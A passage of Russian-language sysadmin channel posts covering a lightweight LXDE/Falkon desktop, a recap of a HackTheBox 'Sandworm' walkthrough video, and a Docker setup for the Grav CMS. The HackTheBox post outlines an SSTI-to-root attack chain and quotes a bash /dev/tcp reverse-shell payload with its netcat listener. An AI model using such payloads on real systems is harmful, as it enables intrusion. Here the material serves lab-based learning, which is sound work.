Далее можно установить любой браузер. Я вычитал, что Falkon наименее прожорливый и поставил его:

# apt install falkon

Понятное дело, что с такими ресурсами всё это работает не очень быстро, но пользоваться можно. Если пользоваться предполагается активно, то надо добавить ещё ядро CPU и еще гиг памяти. Тогда вообще нормально будет.

Я так понимаю, подобную связку lxde-core и falkon можно использовать на старом железе. Можно наверное ещё всё это как-то ужать, используя более специализированные системы и софт, но мне хотелось использовать именно базу, чтобы без заморочек взять и развернуть на стандартном ПО.

#linux
Вчера посмотрел очень интересное видео и прям кайфанул. Человек в режиме онлайн проходит задание сайта HackTheBox. Задание старое, за которое больше не дают баллы, поэтому по нему можно снять видео. Для тех, кто не в курсе, HackTheBox - популярная платформа с тестовыми заданиями для пентестеров, где надо что-то взламывать.

Само видео:
▶️  Прохождение Linux-машины средней сложности SANDWORM HackTheBox | КАК ПРОЙТИ SANDWORM.HTB

Тут может ничего особенного и нет, но я в таком формате ролики раньше не смотрел, поэтому очень зашло. Особенно мне понравилось то, что я всё понял 😀 Я примерно так себе и представлял взломы, но на практике никогда не видел реализацию. Многие инструменты, которые он использовал, я описывал у себя на канале в разное время.

Кратенько, что он делает на видео.

1️⃣ Исследует веб сервер с открытыми портами ssh, http, https. Обнаруживает, что веб приложение имеет уязвимость к инъекции шаблонов на стороне сервера (SSTI). На сайте есть форма, куда можно загрузить свой pgp ключ и зашифрованные им данные. И проверить, подходит ли ключ к шифровке. Так вот, в атрибуты ключа можно загнать payload в виде некоторого кода, который будет выполнен при загрузке ключа через форму, чтобы получить reverse shell. В payload он загнал bash -i >& /dev/tcp/10.10.14.20/1337 0>&1 и подключение ждал на 10.10.14.20 с помощью nc -lvnp 1337. Я об этом рассказывал вот тут и тут.

2️⃣ Далее он с помощью pspy стал наблюдать за всеми процессами в системе, не имея прав root. Заметил, что cron от root копирует и компилирует некоторые файлы на rust. К самим файлам не было доступа на запись, но там подгружался внешний модуль, куда уже можно было что-то записать. Залил туда payload и снова получил shell уже другого пользователя.

3️⃣ В завершении с помощью эксплоита получил выход из песочницы и получил права root.

В процессе работы активно использовал всевозможные линуксовые утилиты, в том числе веб сервер на python, про который я уже 100 раз писал.

В общем, видео интересное и интригующее. Даёт возможность посмотреть работу профи в режиме онлайн на его машине с привычными ему инструментами. В целом, для уверенного линукс админа нет никаких проблем переквалифицироваться в безопасника или пентестера, если есть такое желание. Это как раз база для таких направлений.

#security #видео
​​Для ведения и публикации документации есть очень много различных инструментов. Некоторые из них я ранее описывал:

MkDocs - инструмент для генерации документации в виде статического сайта на базе текстовых файлов в формате markdown.
BookStack - платформа для создания документации и вики-контента.
Wiki.js - готовая wiki платформа с поддержкой редакторов wiki, markdown, wysiwyg. 
Antora - генерация сайта с документацией на основе информации из git репозитория.

Сейчас популярны CMS, которые сделаны полностью на статике. То есть на основе созданных данных генерируются полностью статические страницы. Для контентного сайта или документации это оптимально. Если бы я сейчас выбирал движок для контентного сайта, то смотрел бы на что-то из этой сферы.

В рамках исследования этой темы, посмотрел на популярную open source CMS Grav. Она мне понравилась простотой и возможностями. На выходе лёгкий, практически статический сайт с минималистичным html кодом. Все данные страниц хранятся в формате текстовых .md файлов. Увидел, что у этой cms есть отдельная тема Learn2 или её развитие Learn2 with Git Sync для работы с плагином синхронизации. Эти темы были специально сделаны для организации документации.

Посмотреть, как это может выглядеть на практике можно на публичном демо этой темы:
https://demo.hibbittsdesign.org/grav-learn2-git-sync

А поставить себе всё это и попробовать самому можно с помощью Docker:

# git clone https://github.com/getgrav/docker-grav
# cd docker-grav
# docker build -t grav:latest .
# docker run -d -p 80:80 --restart always -v grav_data:/var/www/html grav:latest

Можно идти по ip сервера и регистрировать учётку на свежем сайте. Под капотом там обычный php движок на базе Symfony. Может работать на любом php хостинге. Достаточно закинуть туда исходники. Всё хранится в файлах, база данных не нужна.

В Grav используется Markdown разметка и обычный онлайн редактор текстов, где можно мышкой всё форматирование натыкать. Знать и писать именно в Markdown не обязательно. Редактор простой и удобный, пользоваться комфортно. Можно вообще где угодно сами исходники страниц редактировать, так как там обычные .md файлы, которые можно в git хранить. На сайте они лежат в директории _data/user/pages.

Мне подобного рода cms нравятся больше, чем wiki разметка и различные движки на её основе. Внутри админка Grav похожа на админку Wordpress. Организовано всё удобно и интуитивно, чего трудно сказать про различные wiki движки. Там пуд соли съешь, пока разберёшься.

#docs